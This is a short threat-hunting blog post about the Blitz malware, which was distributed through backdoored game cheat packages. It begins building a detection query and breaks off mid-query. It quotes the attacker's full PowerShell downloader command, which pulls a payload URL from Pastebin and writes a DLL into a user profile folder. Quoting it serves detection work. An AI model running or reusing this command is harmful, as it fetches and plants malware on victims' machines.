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Showing posts with the label malware

159. Hunting for Backdoored Game Cheats

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Hello everyone! Malware distribution through game cheats isn't a new phenomena, so it's important to be able to detect related activities. Let's look into fresh report by Unit42 on new Windows-based malware called Blitz . The malware author used social media to distribute Blitz through game cheat packages. The threat actor abused PowerShell to deliver Blitz downloader: powershell.exe -c \"$ProgressPreference = 'SilentlyContinue'; $p=\\\"$env: LOCALAPPDATA\\Microsoft\\Internet Explorer\\ieapfltr.dll\\\"; $hu='https://pastebin.com/ raw/FSzik5ew'; $du=(irm 'https://pastebin.com/raw/RzLEd17Z');if (Test-Path $p) {$eh=irm $hu;if($eh. Length -eq 64 -and $eh -match '^[a-fA-F0-9]{64}$'){$ah=(Get-FileHash $p -Algorithm SHA256).Hash;if ($eh -ne $ah) {iwr $du -OutFile $p}}}else{iwr $du -OutFile $p}\" Let's focus on Pastebin and iwr to build our hunting query: event_type: "processcreatewin" AND proc_file_name: "powe...